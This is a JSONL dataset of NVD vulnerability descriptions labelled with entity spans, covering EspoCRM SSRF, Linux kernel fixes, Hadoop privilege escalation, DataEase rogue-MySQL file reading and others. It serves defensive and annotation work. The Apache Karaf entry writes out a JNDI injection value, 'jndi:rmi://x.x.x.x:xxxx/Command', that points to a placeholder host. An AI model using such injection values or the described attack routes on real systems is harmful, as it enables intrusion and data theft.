{"source": "nvd_v2", "cve_id": "CVE-2023-53247"}}
{"text": "EspoCRM is an Open Source CRM (Customer Relationship Management) software. In affected versions there is Server-Side Request Forgery (SSRF) vulnerability via the upload image from url api. Users who have access to `the /Attachment/fromImageUrl` endpoint can specify URL to point to an internal host. Even though there is check for content type, it can be bypassed by redirects in some cases. This SSRF can be leveraged to disclose internal information (in some cases), target internal hosts and bypass firewalls. This vulnerability has been addressed in commit `c536cee63` which is included in release version 8.0.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: /Attachment/fromImageUrl": [[219, 243]], "VULNERABILITY: Server-Side Request Forgery": [[105, 132]], "VULNERABILITY: SSRF": [[134, 138], [397, 401]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-46736"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nubifs: Fix memory leak in ubifs_sysfs_init()\n\nWhen insmod ubifs.ko, a kmemleak reported as below:\n\n unreferenced object 0xffff88817fb1a780 (size 8):\n   comm \"insmod\", pid 25265, jiffies 4295239702 (age 100.130s)\n   hex dump (first 8 bytes):\n     75 62 69 66 73 00 ff ff                          ubifs...\n   backtrace:\n     [<ffffffff81b3fc4c>] slab_post_alloc_hook+0x9c/0x3c0\n     [<ffffffff81b44bf3>] __kmalloc_track_caller+0x183/0x410\n     [<ffffffff8198d3da>] kstrdup+0x3a/0x80\n     [<ffffffff8198d486>] kstrdup_const+0x66/0x80\n     [<ffffffff83989325>] kvasprintf_const+0x155/0x190\n     [<ffffffff83bf55bb>] kobject_set_name_vargs+0x5b/0x150\n     [<ffffffff83bf576b>] kobject_set_name+0xbb/0xf0\n     [<ffffffff8100204c>] do_one_initcall+0x14c/0x5a0\n     [<ffffffff8157e380>] do_init_module+0x1f0/0x660\n     [<ffffffff815857be>] load_module+0x6d7e/0x7590\n     [<ffffffff8158644f>] __do_sys_finit_module+0x19f/0x230\n     [<ffffffff815866b3>] __x64_sys_finit_module+0x73/0xb0\n     [<ffffffff88c98e85>] do_syscall_64+0x35/0x80\n     [<ffffffff88e00087>] entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nWhen kset_register() failed, we should call kset_put to cleanup it.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[80, 91]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53278"}}
{"text": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8", "spans": {"FILEPATH: main.java": [[166, 175]], "ORGANIZATION: Apache": [[698, 704], [772, 778]], "VULNERABILITY: remote code execution": [[519, 540]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-40145"}}
{"text": "Missing Authentication for Critical Function in the Bosch Video Streaming Gateway (VSG) allows an unauthenticated remote attacker to retrieve and set arbitrary configuration data of the Video Streaming Gateway. A successful attack can impact the confidentiality and availability of live and recorded video data of all cameras configured to be controlled by the VSG as well as the recording storage associated with the VSG. This affects Bosch Video Streaming Gateway versions 6.45 <= 6.45.08, 6.44 <= 6.44.022, 6.43 <= 6.43.0023 and 6.42.10 and older. This affects Bosch DIVAR IP 3000, DIVAR IP 7000 and DIVAR IP all-in-one 5000 if a vulnerable VSG version is installed with BVMS. This affects Bosch DIVAR IP 2000 <= 3.62.0019 and DIVAR IP 5000 <= 3.80.0039 if the corresponding port 8023 has been opened in the device's firewall.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-6769"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/vmwgfx: Unmap the surface before resetting it on a plane state\n\nSwitch to a new plane state requires unreferencing of all held surfaces.\nIn the work required for mob cursors the mapped surfaces started being\ncached but the variable indicating whether the surface is currently\nmapped was not being reset. This leads to crashes as the duplicated\nstate, incorrectly, indicates the that surface is mapped even when\nno surface is present. That's because after unreferencing the surface\nit's perfectly possible for the plane to be backed by a bo instead of a\nsurface.\n\nReset the surface mapped flag when unreferencing the plane state surface\nto fix null derefs in cleanup. Fixes crashes in KDE KWin 6.0 on Wayland:\n\nOops: 0000 [#1] PREEMPT SMP PTI\nCPU: 4 PID: 2533 Comm: kwin_wayland Not tainted 6.7.0-rc3-vmwgfx #2\nHardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020\nRIP: 0010:vmw_du_cursor_plane_cleanup_fb+0x124/0x140 [vmwgfx]\nCode: 00 00 00 75 3a 48 83 c4 10 5b 5d c3 cc cc cc cc 48 8b b3 a8 00 00 00 48 c7 c7 99 90 43 c0 e8 93 c5 db ca 48 8b 83 a8 00 00 00 <48> 8b 78 28 e8 e3 f>\nRSP: 0018:ffffb6b98216fa80 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: ffff969d84cdcb00 RCX: 0000000000000027\nRDX: 0000000000000000 RSI: 0000000000000001 RDI: ffff969e75f21600\nRBP: ffff969d4143dc50 R08: 0000000000000000 R09: ffffb6b98216f920\nR10: 0000000000000003 R11: ffff969e7feb3b10 R12: 0000000000000000\nR13: 0000000000000000 R14: 000000000000027b R15: ffff969d49c9fc00\nFS:  00007f1e8f1b4180(0000) GS:ffff969e75f00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000028 CR3: 0000000104006004 CR4: 00000000003706f0\nCall Trace:\n <TASK>\n ? __die+0x23/0x70\n ? page_fault_oops+0x171/0x4e0\n ? exc_page_fault+0x7f/0x180\n ? asm_exc_page_fault+0x26/0x30\n ? vmw_du_cursor_plane_cleanup_fb+0x124/0x140 [vmwgfx]\n drm_atomic_helper_cleanup_planes+0x9b/0xc0\n commit_tail+0xd1/0x130\n drm_atomic_helper_commit+0x11a/0x140\n drm_atomic_commit+0x97/0xd0\n ? __pfx___drm_printfn_info+0x10/0x10\n drm_atomic_helper_update_plane+0xf5/0x160\n drm_mode_cursor_universal+0x10e/0x270\n drm_mode_cursor_common+0x102/0x230\n ? __pfx_drm_mode_cursor2_ioctl+0x10/0x10\n drm_ioctl_kernel+0xb2/0x110\n drm_ioctl+0x26d/0x4b0\n ? __pfx_drm_mode_cursor2_ioctl+0x10/0x10\n ? __pfx_drm_ioctl+0x10/0x10\n vmw_generic_ioctl+0xa4/0x110 [vmwgfx]\n __x64_sys_ioctl+0x94/0xd0\n do_syscall_64+0x61/0xe0\n ? __x64_sys_ioctl+0xaf/0xd0\n ? syscall_exit_to_user_mode+0x2b/0x40\n ? do_syscall_64+0x70/0xe0\n ? __x64_sys_ioctl+0xaf/0xd0\n ? syscall_exit_to_user_mode+0x2b/0x40\n ? do_syscall_64+0x70/0xe0\n ? exc_page_fault+0x7f/0x180\n entry_SYSCALL_64_after_hwframe+0x6e/0x76\nRIP: 0033:0x7f1e93f279ed\nCode: 04 25 28 00 00 00 48 89 45 c8 31 c0 48 8d 45 10 c7 45 b0 10 00 00 00 48 89 45 b8 48 8d 45 d0 48 89 45 c0 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff f>\nRSP: 002b:00007ffca0faf600 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 000055db876ed2c0 RCX: 00007f1e93f279ed\nRDX: 00007ffca0faf6c0 RSI: 00000000c02464bb RDI: 0000000000000015\nRBP: 00007ffca0faf650 R08: 000055db87184010 R09: 0000000000000007\nR10: 000055db886471a0 R11: 0000000000000246 R12: 00007ffca0faf6c0\nR13: 00000000c02464bb R14: 0000000000000015 R15: 00007ffca0faf790\n </TASK>\nModules linked in: snd_seq_dummy snd_hrtimer nf_conntrack_netbios_ns nf_conntrack_broadcast nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_ine>\nCR2: 0000000000000028\n---[ end trace 0000000000000000 ]---\nRIP: 0010:vmw_du_cursor_plane_cleanup_fb+0x124/0x140 [vmwgfx]\nCode: 00 00 00 75 3a 48 83 c4 10 5b 5d c3 cc cc cc cc 48 8b b3 a8 00 00 00 48 c7 c7 99 90 43 c0 e8 93 c5 db ca 48 8b 83 a8 00 00 00 <48> 8b 78 28 e8 e3 f>\nRSP: 0018:ffffb6b98216fa80 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: ffff969d84cdcb00 RCX: 0000000000000027\nRDX: 0000000000000000 RSI: 0000000000000001 RDI: ffff969e75f21600\nRBP: ffff969d4143\n---truncated---", "spans": {"FILEPATH: /12/2020": [[981, 989]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: VMware": [[898, 904], [911, 917]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52648"}}
{"text": "A Heap-based Buffer Overflow vulnerability in the Routing Protocol Daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated, network based attacker to cause a Denial of Service (DoS).\n\nIf an attacker sends a specific BGP UPDATE message to the device, this will cause a memory overwrite and therefore an RPD crash and restart in the backup Routing Engine (RE). Continued receipt of these packets will cause a sustained Denial of Service (DoS) condition in the backup RE.\n\nThe primary RE is not impacted by this issue and there is no impact on traffic.\n\nThis issue only affects devices with NSR enabled.\n\nNote: NSR is not supported on the SRX Series and is therefore not affected by this vulnerability.\nThis issue requires an attacker to have an established BGP session to a system affected by the issue. This issue affects both eBGP and iBGP implementations.\n\nThis issue affects:\n\nJuniper Networks Junos OS\n\n\n\n  *  All versions earlier than 20.4R3-S9;\n  *  21.2 versions earlier than 21.2R3-S7;\n  *  21.3 versions earlier than 21.3R3-S5;\n  *  21.4 versions earlier than 21.4R3-S5;\n  *  22.1 versions earlier than 22.1R3-S4;\n  *  22.2 versions earlier than 22.2R3-S2;\n  *  22.3 versions earlier than 22.3R3-S1;\n  *  22.4 versions earlier than 22.4R2-S2, 22.4R3;\n  *  23.1 versions earlier than 23.1R2;\n  *  23.2 versions earlier than 23.2R1-S2, 23.2R2.\n\n\n\n\nJuniper Networks Junos OS Evolved\n\n\n\n  *  All versions earlier than 21.3R3-S5-EVO;\n  *  21.4-EVO versions earlier than 21.4R3-S5-EVO;\n  *  22.1-EVO versions earlier than 22.1R3-S4-EVO;\n  *  22.2-EVO versions earlier than 22.2R3-S2-EVO;\n  *  22.3-EVO versions later than 22.3R1-EVO;\n  *  22.4-EVO versions earlier than 22.4R2-S2-EVO, 22.4R3-EVO;\n  *  23.1-EVO versions earlier than 23.1R2-EVO;\n  *  23.2-EVO versions earlier than 23.2R1-S2-EVO, 23.2R2-EVO.", "spans": {"ORGANIZATION: Juniper": [[83, 90], [912, 919], [1387, 1394]], "VULNERABILITY: Heap-based Buffer Overflow": [[2, 28]], "VULNERABILITY: Denial of Service": [[191, 208], [450, 467]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-21596"}}
{"text": "Relative library resolution in linux container-executor binary in Apache Hadoop 3.3.1-3.3.4 on Linux allows local user to gain root privileges. If the YARN cluster is accepting work from remote (authenticated) users, this MAY permit remote users to gain root privileges.\n\nHadoop 3.3.0 updated the \" YARN Secure Containers https://hadoop.apache.org/docs/stable/hadoop-yarn/hadoop-yarn-site/SecureContainer.html \" to add a feature for executing user-submitted applications in isolated linux containers.\n\nThe native binary HADOOP_HOME/bin/container-executor is used to launch these containers; it must be owned by root and have the suid bit set in order for the YARN processes to run the containers as the specific users submitting the jobs.\n\nThe patch \" YARN-10495 https://issues.apache.org/jira/browse/YARN-10495 . make the rpath of container-executor configurable\" modified the library loading path for loading .so files from \"$ORIGIN/\" to \"\"$ORIGIN/:../lib/native/\". This is the a path through which libcrypto.so is located. Thus it is is possible for a user with reduced privileges to install a malicious libcrypto library into a path to which they have write access, invoke the container-executor command, and have their modified library executed as root.\nIf the YARN cluster is accepting work from remote (authenticated) users, and these users' submitted job are executed in the physical host, rather than a container, then the CVE permits remote users to gain root privileges.\n\nThe fix for the vulnerability is to revert the change, which is done in  YARN-11441 https://issues.apache.org/jira/browse/YARN-11441 , \"Revert YARN-10495\". This patch is in hadoop-3.3.5.\n\nTo determine whether a version of container-executor is vulnerable, use the readelf command. If the RUNPATH or RPATH value contains the relative path \"./lib/native/\" then it  is at risk\n\n$ readelf -d container-executor|grep 'RUNPATH\\|RPATH' \n0x000000000000001d (RUNPATH)            Library runpath: [$ORIGIN/:../lib/native/]\n\nIf it does not, then it is safe:\n\n$ readelf -d container-executor|grep 'RUNPATH\\|RPATH' \n0x000000000000001d (RUNPATH)            Library runpath: [$ORIGIN/]\n\nFor an at-risk version of container-executor to enable privilege escalation, the owner must be root and the suid bit must be set\n\n$ ls -laF /opt/hadoop/bin/container-executor\n---Sr-s---. 1 root hadoop 802968 May 9 20:21 /opt/hadoop/bin/container-executor\n\nA safe installation lacks the suid bit; ideally is also not owned by root.\n\n$ ls -laF /opt/hadoop/bin/container-executor\n-rwxr-xr-x. 1 yarn hadoop 802968 May 9 20:21 /opt/hadoop/bin/container-executor\n\nThis configuration does not support Yarn Secure Containers, but all other hadoop services, including YARN job execution outside secure containers continue to work.", "spans": {"URL: https://hadoop.apache.org/docs/stable/hadoop-yarn/hadoop-yarn-site/SecureContainer.html": [[322, 409]], "URL: https://issues.apache.org/jira/browse/YARN-10495": [[763, 811]], "URL: https://issues.apache.org/jira/browse/YARN-11441": [[1567, 1615]], "FILEPATH: /bin/container-executor": [[531, 554]], "FILEPATH: /lib/native": [[953, 964], [1823, 1834], [1982, 1993]], "FILEPATH: /opt/hadoop/bin/container-executor": [[2295, 2329], [2375, 2409], [2497, 2531], [2577, 2611]], "SYSTEM: Linux": [[95, 100]], "ORGANIZATION: Apache": [[66, 72]], "VULNERABILITY: privilege escalation": [[2210, 2230]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-26031"}}
{"text": "A res_pjsip_session crash was discovered in Asterisk Open Source 13.x before 13.37.1, 16.x before 16.14.1, 17.x before 17.8.1, and 18.x before 18.0.1. and Certified Asterisk before 16.8-cert5. Upon receiving a new SIP Invite, Asterisk did not return the created dialog locked or referenced. This caused a gap between the creation of the dialog object, and its next use by the thread that created it. Depending on some off-nominal circumstances and timing, it was possible for another thread to free said dialog in this gap. Asterisk could then crash when the dialog object, or any of its dependent objects, were dereferenced or accessed next by the initial-creation thread. Note, however, that this crash can only occur when using a connection-oriented protocol (e.g., TCP or TLS, but not UDP) for SIP transport. Also, the remote client must be authenticated, or Asterisk must be configured for anonymous calling.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-28327"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: core: Fix use-after-free in snd_soc_exit()\n\nKASAN reports a use-after-free:\n\nBUG: KASAN: use-after-free in device_del+0xb5b/0xc60\nRead of size 8 at addr ffff888008655050 by task rmmod/387\nCPU: 2 PID: 387 Comm: rmmod\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996)\nCall Trace:\n<TASK>\ndump_stack_lvl+0x79/0x9a\nprint_report+0x17f/0x47b\nkasan_report+0xbb/0xf0\ndevice_del+0xb5b/0xc60\nplatform_device_del.part.0+0x24/0x200\nplatform_device_unregister+0x2e/0x40\nsnd_soc_exit+0xa/0x22 [snd_soc_core]\n__do_sys_delete_module.constprop.0+0x34f/0x5b0\ndo_syscall_64+0x3a/0x90\nentry_SYSCALL_64_after_hwframe+0x63/0xcd\n...\n</TASK>\n\nIt's bacause in snd_soc_init(), snd_soc_util_init() is possble to fail,\nbut its ret is ignored, which makes soc_dummy_dev unregistered twice.\n\nsnd_soc_init()\n    snd_soc_util_init()\n        platform_device_register_simple(soc_dummy_dev)\n        platform_driver_register() # fail\n    \tplatform_device_unregister(soc_dummy_dev)\n    platform_driver_register() # success\n...\nsnd_soc_exit()\n    snd_soc_util_exit()\n    # soc_dummy_dev will be unregistered for second time\n\nTo fix it, handle error and stop snd_soc_init() when util_init() fail.\nAlso clean debugfs when util_init() or driver_register() fail.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[306, 310]], "VULNERABILITY: use-after-free": [[85, 99], [135, 149], [164, 178]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49842"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: dsa: improve shutdown sequence\n\nAlexander Sverdlin presents 2 problems during shutdown with the\nlan9303 driver. One is specific to lan9303 and the other just happens\nto reproduce there.\n\nThe first problem is that lan9303 is unique among DSA drivers in that it\ncalls dev_get_drvdata() at \"arbitrary runtime\" (not probe, not shutdown,\nnot remove):\n\nphy_state_machine()\n-> ...\n   -> dsa_user_phy_read()\n      -> ds->ops->phy_read()\n         -> lan9303_phy_read()\n            -> chip->ops->phy_read()\n               -> lan9303_mdio_phy_read()\n                  -> dev_get_drvdata()\n\nBut we never stop the phy_state_machine(), so it may continue to run\nafter dsa_switch_shutdown(). Our common pattern in all DSA drivers is\nto set drvdata to NULL to suppress the remove() method that may come\nafterwards. But in this case it will result in an NPD.\n\nThe second problem is that the way in which we set\ndp->conduit->dsa_ptr = NULL; is concurrent with receive packet\nprocessing. dsa_switch_rcv() checks once whether dev->dsa_ptr is NULL,\nbut afterwards, rather than continuing to use that non-NULL value,\ndev->dsa_ptr is dereferenced again and again without NULL checks:\ndsa_conduit_find_user() and many other places. In between dereferences,\nthere is no locking to ensure that what was valid once continues to be\nvalid.\n\nBoth problems have the common aspect that closing the conduit interface\nsolves them.\n\nIn the first case, dev_close(conduit) triggers the NETDEV_GOING_DOWN\nevent in dsa_user_netdevice_event() which closes user ports as well.\ndsa_port_disable_rt() calls phylink_stop(), which synchronously stops\nthe phylink state machine, and ds->ops->phy_read() will thus no longer\ncall into the driver after this point.\n\nIn the second case, dev_close(conduit) should do this, as per\nDocumentation/networking/driver.rst:\n\n| Quiescence\n| ----------\n|\n| After the ndo_stop routine has been called, the hardware must\n| not receive or transmit any data.  All in flight packets must\n| be aborted. If necessary, poll or wait for completion of\n| any reset commands.\n\nSo it should be sufficient to ensure that later, when we zeroize\nconduit->dsa_ptr, there will be no concurrent dsa_switch_rcv() call\non this conduit.\n\nThe addition of the netif_device_detach() function is to ensure that\nioctls, rtnetlinks and ethtool requests on the user ports no longer\npropagate down to the driver - we're no longer prepared to handle them.\n\nThe race condition actually did not exist when commit 0650bf52b31f\n(\"net: dsa: be compatible with masters which unregister on shutdown\")\nfirst introduced dsa_switch_shutdown(). It was created later, when we\nstopped unregistering the user interfaces from a bad spot, and we just\nreplaced that sequence with a racy zeroization of conduit->dsa_ptr\n(one which doesn't ensure that the interfaces aren't up).", "spans": {"FILEPATH: /networking/driver.rst": [[1866, 1888]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: race condition": [[2494, 2508]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49998"}}
{"text": "DataEase is an open-source data visualization and analytics platform. Versions 2.10.20 and below contain a JDBC parameter blocklist bypass vulnerability in the MySQL datasource configuration. The Mysql class uses Lombok's @Data annotation, which auto-generates a public setter for the illegalParameters field that contains the JDBC security blocklist. When a datasource configuration is submitted as JSON, Jackson deserialization calls setIllegalParameters with an attacker-supplied empty list, replacing the blocklist before getJdbc() validation runs. This allows an authenticated attacker to include dangerous JDBC parameters such as allowLoadLocalInfile=true, and by pointing the datasource at a rogue MySQL server, exploit the LOAD DATA LOCAL INFILE protocol feature to read arbitrary files from the DataEase server filesystem, including sensitive environment variables and database credentials. This issue has been fixed in version 2.10.21.", "spans": {"SYSTEM: MySQL": [[160, 165], [705, 710]], "VULNERABILITY: deserialization": [[414, 429]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40899"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmptcp: pm: only set fullmesh for subflow endp\n\nWith the in-kernel path-manager, it is possible to change the 'fullmesh'\nflag. The code in mptcp_pm_nl_fullmesh() expects to change it only on\n'subflow' endpoints, to recreate more or less subflows using the linked\naddress.\n\nUnfortunately, the set_flags() hook was a bit more permissive, and\nallowed 'implicit' endpoints to get the 'fullmesh' flag while it is not\nallowed before.\n\nThat's what syzbot found, triggering the following warning:\n\n  WARNING: CPU: 0 PID: 6499 at net/mptcp/pm_netlink.c:1496 __mark_subflow_endp_available net/mptcp/pm_netlink.c:1496 [inline]\n  WARNING: CPU: 0 PID: 6499 at net/mptcp/pm_netlink.c:1496 mptcp_pm_nl_fullmesh net/mptcp/pm_netlink.c:1980 [inline]\n  WARNING: CPU: 0 PID: 6499 at net/mptcp/pm_netlink.c:1496 mptcp_nl_set_flags net/mptcp/pm_netlink.c:2003 [inline]\n  WARNING: CPU: 0 PID: 6499 at net/mptcp/pm_netlink.c:1496 mptcp_pm_nl_set_flags+0x974/0xdc0 net/mptcp/pm_netlink.c:2064\n  Modules linked in:\n  CPU: 0 UID: 0 PID: 6499 Comm: syz.1.413 Not tainted 6.13.0-rc5-syzkaller-00172-gd1bf27c4e176 #0\n  Hardware name: Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\n  RIP: 0010:__mark_subflow_endp_available net/mptcp/pm_netlink.c:1496 [inline]\n  RIP: 0010:mptcp_pm_nl_fullmesh net/mptcp/pm_netlink.c:1980 [inline]\n  RIP: 0010:mptcp_nl_set_flags net/mptcp/pm_netlink.c:2003 [inline]\n  RIP: 0010:mptcp_pm_nl_set_flags+0x974/0xdc0 net/mptcp/pm_netlink.c:2064\n  Code: 01 00 00 49 89 c5 e8 fb 45 e8 f5 e9 b8 fc ff ff e8 f1 45 e8 f5 4c 89 f7 be 03 00 00 00 e8 44 1d 0b f9 eb a0 e8 dd 45 e8 f5 90 <0f> 0b 90 e9 17 ff ff ff 89 d9 80 e1 07 38 c1 0f 8c c9 fc ff ff 48\n  RSP: 0018:ffffc9000d307240 EFLAGS: 00010293\n  RAX: ffffffff8bb72e03 RBX: 0000000000000000 RCX: ffff88807da88000\n  RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\n  RBP: ffffc9000d307430 R08: ffffffff8bb72cf0 R09: 1ffff1100b842a5e\n  R10: dffffc0000000000 R11: ffffed100b842a5f R12: ffff88801e2e5ac0\n  R13: ffff88805c214800 R14: ffff88805c2152e8 R15: 1ffff1100b842a5d\n  FS:  00005555619f6500(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 0000000020002840 CR3: 00000000247e6000 CR4: 00000000003526f0\n  DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n  DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n  Call Trace:\n   <TASK>\n   genl_family_rcv_msg_doit net/netlink/genetlink.c:1115 [inline]\n   genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline]\n   genl_rcv_msg+0xb14/0xec0 net/netlink/genetlink.c:1210\n   netlink_rcv_skb+0x1e3/0x430 net/netlink/af_netlink.c:2542\n   genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219\n   netlink_unicast_kernel net/netlink/af_netlink.c:1321 [inline]\n   netlink_unicast+0x7f6/0x990 net/netlink/af_netlink.c:1347\n   netlink_sendmsg+0x8e4/0xcb0 net/netlink/af_netlink.c:1891\n   sock_sendmsg_nosec net/socket.c:711 [inline]\n   __sock_sendmsg+0x221/0x270 net/socket.c:726\n   ____sys_sendmsg+0x52a/0x7e0 net/socket.c:2583\n   ___sys_sendmsg net/socket.c:2637 [inline]\n   __sys_sendmsg+0x269/0x350 net/socket.c:2669\n   do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n   do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n   entry_SYSCALL_64_after_hwframe+0x77/0x7f\n  RIP: 0033:0x7f5fe8785d29\n  Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\n  RSP: 002b:00007fff571f5558 EFLAGS: 00000246 ORIG_RAX: 000000000000002e\n  RAX: ffffffffffffffda RBX: 00007f5fe8975fa0 RCX: 00007f5fe8785d29\n  RDX: 0000000000000000 RSI: 0000000020000480 RDI: 0000000000000007\n  RBP: 00007f5fe8801b08 R08: 0000000000000000 R09: 0000000000000000\n  R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\n  R13: 00007f5fe8975fa0 R14: 00007f5fe8975fa0 R15: 000000\n---truncated---", "spans": {"FILEPATH: /mptcp/pm_netlink.c": [[592, 611], [650, 669], [718, 737], [767, 786], [835, 854], [882, 901], [950, 969], [1012, 1031], [1286, 1305], [1356, 1375], [1424, 1443], [1507, 1526]], "FILEPATH: /13/2024": [[1232, 1240]], "FILEPATH: /netlink/genetlink.c": [[2510, 2530], [2571, 2591], [2637, 2657], [2749, 2769]], "FILEPATH: /netlink/af_netlink.c": [[2697, 2718], [2804, 2825], [2874, 2895], [2935, 2956]], "FILEPATH: /x86/entry/common.c": [[3220, 3239], [3284, 3303]], "FILEPATH: socket.c": [[2988, 2996], [3044, 3052], [3092, 3100], [3128, 3136], [3184, 3192]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1173, 1179], [1195, 1201], [1223, 1229]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21706"}}
{"text": "In the CropImage() and CropImageToTiles() routines of MagickCore/transform.c, rounding calculations performed on unconstrained pixel offsets was causing undefined behavior in the form of integer overflow and out-of-range values as reported by UndefinedBehaviorSanitizer. Such issues could cause a negative impact to application availability or other problems related to undefined behavior, in cases where ImageMagick processes untrusted input data. The upstream patch introduces functionality to constrain the pixel offsets and prevent these issues. This flaw affects ImageMagick versions prior to 7.0.9-0.", "spans": {"FILEPATH: transform.c": [[65, 76]], "SYSTEM: ImageMagick": [[405, 416], [568, 579]], "VULNERABILITY: integer overflow": [[187, 203]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-25675"}}
{"text": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Starting in version 2.2.1 until versions 14.4.8, 14.10.5, and 15.1RC1 of org.xwiki.platform:xwiki-platform-web and any version prior to 14.4.8, 14.10.5, and 15.1.RC1 of org.xwiki.platform:xwiki-platform-web-templates, any user who can edit a document in a wiki like the user profile can create a stored cross-site scripting attack. The attack occurs by putting plain HTML code into that document and then tricking another user to visit that document with the `displaycontent` or `rendercontent` template and plain output syntax. If a user with programming rights is tricked into visiting such a URL, arbitrary actions be performed with this user's rights, impacting the confidentiality, integrity, and availability of the whole XWiki installation. This has been patched in XWiki 14.4.8, 14.10.5 and 15.1RC1 by setting the content type of the response to plain text when the output syntax is not an HTML syntax.", "spans": {"VULNERABILITY: cross-site scripting": [[408, 428]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-34464"}}
{"text": "Glances is an open-source system cross-platform monitoring tool. The GHSA-gh4x fix (commit 5d3de60) addressed unauthenticated configuration secrets exposure on the `/api/v4/config` endpoints by introducing `as_dict_secure()` redaction. However, the `/api/v4/args` and `/api/v4/args/{item}` endpoints were not addressed by this fix. These endpoints return the complete command-line arguments namespace via `vars(self.args)`, which includes the password hash (salt + pbkdf2_hmac), SNMP community strings, SNMP authentication keys, and the configuration file path. When Glances runs without `--password` (the default), these endpoints are accessible without any authentication. Version 4.5.2 provides a more complete fix.", "spans": {"FILEPATH: /api/v4/config": [[165, 179]], "FILEPATH: /api/v4/args": [[250, 262], [269, 281]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32609"}}
{"text": "An Out-of-bounds Write vulnerability in the Internet Key Exchange Protocol daemon (iked) of Juniper Networks Junos OS on SRX series and MX with SPC3 allows an authenticated, network-based attacker to cause a Denial of Service (DoS). iked will crash and restart, and the tunnel will not come up when a peer sends a specifically formatted payload during the negotiation. This will impact other IKE negotiations happening at the same time. Continued receipt of this specifically formatted payload will lead to continuous crashing of iked and thereby the inability for any IKE negotiations to take place. Note that this payload is only processed after the authentication has successfully completed. So the issue can only be exploited by an attacker who can successfully authenticate. This issue affects Juniper Networks Junos OS on SRX Series, and MX Series with SPC3: All versions prior to 19.3R3-S7; 19.4 versions prior to 19.4R3-S9; 20.2 versions prior to 20.2R3-S5; 20.3 versions prior to 20.3R3-S5; 20.4 versions prior to 20.4R3-S4; 21.1 versions prior to 21.1R3-S3; 21.2 versions prior to 21.2R3-S2; 21.3 versions prior to 21.3R3-S1; 21.4 versions prior to 21.4R2-S1, 21.4R3; 22.1 versions prior to 22.1R1-S2, 22.1R2.", "spans": {"ORGANIZATION: Juniper": [[92, 99], [799, 806]], "VULNERABILITY: Out-of-bounds Write": [[3, 22]], "VULNERABILITY: Denial of Service": [[208, 225]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22404"}}
